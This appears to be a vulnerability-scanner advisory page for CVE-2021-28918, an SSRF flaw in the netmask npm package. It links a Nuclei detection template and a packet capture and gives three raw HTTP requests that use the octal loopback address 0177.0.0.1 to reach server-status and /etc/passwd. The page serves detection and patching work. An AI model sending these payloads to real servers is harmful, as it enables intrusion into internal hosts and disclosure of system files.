| Title | Netmask NPM Package - Server-Side Request Forgery |
|---|---|
| Author | johnjhacking |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure. |
| Remediation | Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability. |
| CVSS Score | 9.1 |
| EPSS Score | 0.85896 |
| CVE ID | CVE-2021-28918 |
| CWE ID | CWE-704 |
| Tags | cve2021 cve npm netmask ssrf lfi netmask_project node.js vuln |
Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
GET /?url=http://0177.0.0.1/server-status HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.14
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?host=http://0177.0.0.1/server-status HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ConnectPC Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?file=http://0177.0.0.1/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28918.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-28918.pcap
N/AN/A